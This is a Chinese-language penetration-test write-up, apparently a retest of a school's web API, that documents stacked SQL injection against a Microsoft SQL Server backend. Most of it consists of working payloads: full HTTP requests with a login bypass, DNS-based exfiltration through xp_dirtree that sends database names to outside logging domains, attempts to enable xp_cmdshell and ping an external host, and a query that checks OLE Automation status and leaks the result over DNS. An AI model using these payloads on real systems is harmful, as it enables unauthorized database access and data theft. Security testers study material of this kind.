在复测的时候发现,学校对api的未授权与sql注入的操作是将asp api help面板直接删掉,而没做任何修改

在fuzz后发现存在堆叠注入,但是无回显,尝试使用dnslog来打(这也是第一次用到这个技巧)

POST *** HTTP/1.1
Host: ***
Content-Type: application/JSON
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"LogUser":"admin' or'1'='1 ","LogPwd":"1","NewPwd":"123123admin!@#';DECLARE @d VARCHAR(100)=(SELECT TOP 1 name FROM sys.databases);EXEC('xp_dirtree ''\\\\'+@d+'.rbxkyltzcf.iyhc.eu.org\\test''')-- -"}

直接启动xpcmd

理想很美好理论四步就可以打开xpcmd权限

;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;  //打开xp_cmdshell扩展
RECONFIGURE;--

但是当做到第步骤的时候会出现

{
  "msg": "在用户事务内不能使用 CONFIG 语句。",
  "success": false
}

而RECONFIGURE会被判定为config语句,所以导致了’show advanced options’,1即使成立也没有什么用

基于xp_dirtree或者xp_cmd的dnslog外带

假设一个最有利的情况,如果xp_cmd可以使用,则可以构造一个如下的payload来完成数据外带

set @a=USER_NAME();exec('master..xp_cmdshell "ping -n 2 ' %2b @a  %2b'.dnslog.cn"')--

假设无法使用xpcmd也可以尝试xp_dirtree进行dnslog的外带

';DECLARE @d VARCHAR(100)=(SELECT TOP 1 name FROM sys.databases);EXEC('xp_dirtree ''\\\\'+@d+'.rbxkyltzcf.iyhc.eu.org\\test''')-- -

因为xpdirtree允许接受一个路径作为参数,如果参数为unc路径,则会将主机名作为地址查询ip,而操作则会发出一个dns请求,借此完成数据外带

payload:

';DECLARE @d VARCHAR(100)=(SELECT TOP 1 name FROM sys.databases);EXEC('xp_dirtree ''\\\\'+@d+'.rbxkyltzcf.iyhc.eu.org\\test''')-- -

这样可以打一个dnslog回显,回显的user为as

尝试打开xpcmd

POST *** HTTP/1.1
Host: ***
Content-Type: application/JSON
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"LogUser":"admin' or'1'='1 ","LogPwd":"1","NewPwd":"123123admin!@#';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell 'ping -n 1 hack.qwmbakflpj.yutu.eu.org';-- -"}

报错

{
  "msg": "在用户事务内不能使用 CONFIG 语句。\r\n配置选项 'xp_cmdshell' 不存在,也可能是高级选项。\r\n在用户事务内不能使用 CONFIG 语句。\r\nSQL Server 阻止了对组件“xp_cmdshell”的 过程“sys.xp_cmdshell”的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用“xp_cmdshell”。有关启用“xp_cmdshell”的详细信息,请搜索 SQL Server 联机丛书中的“xp_cmdshell”。\r\n配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。",
  "success": false
}

后面我单独尝试;EXEC sp_configure 'xp_cmdshell',1-- - 发现回显配置选项 ‘xp_cmdshell’ 不存在,也可能是高级选项。 没有成功打开

基于OLE Automation机制的写shell

通过网站报错找到了可访问的绝对路径后,查看了OLE Automation是否开启,很遗憾是关闭的

';DECLARE @OleEnabled INT; DECLARE @DnsDomain NVARCHAR(100) = N'.cdzifgqdcj.dgrh3.cn'; DECLARE @DnsFullPath NVARCHAR(300); BEGIN TRY SELECT @OleEnabled = ISNULL(CAST(value_in_use AS INT), -1) FROM sys.configurations WHERE name = 'Ole Automation Procedures'; IF @OleEnabled = 1 SET @DnsFullPath = N'\\\\ole_IS_ENABLED' + @DnsDomain + N'\\status'; ELSE IF @OleEnabled = 0 SET @DnsFullPath = N'\\\\ole_IS_DISABLED' + @DnsDomain + N'\\status'; ELSE SET @DnsFullPath = N'\\\\ole_CONF_NOT_FOUND_OR_NULL' + @DnsDomain + N'\\status'; EXEC('xp_dirtree ''' + @DnsFullPath + ''''); END TRY BEGIN CATCH SET @DnsFullPath = N'\\\\ole_CHECK_SQL_CATCH_ERROR' + @DnsDomain + N'\\status'; EXEC('xp_dirtree ''' + @DnsFullPath + ''''); END CATCH;-- -

MSSQL多种姿势拿shell和提权

MSSQL 注入学习笔记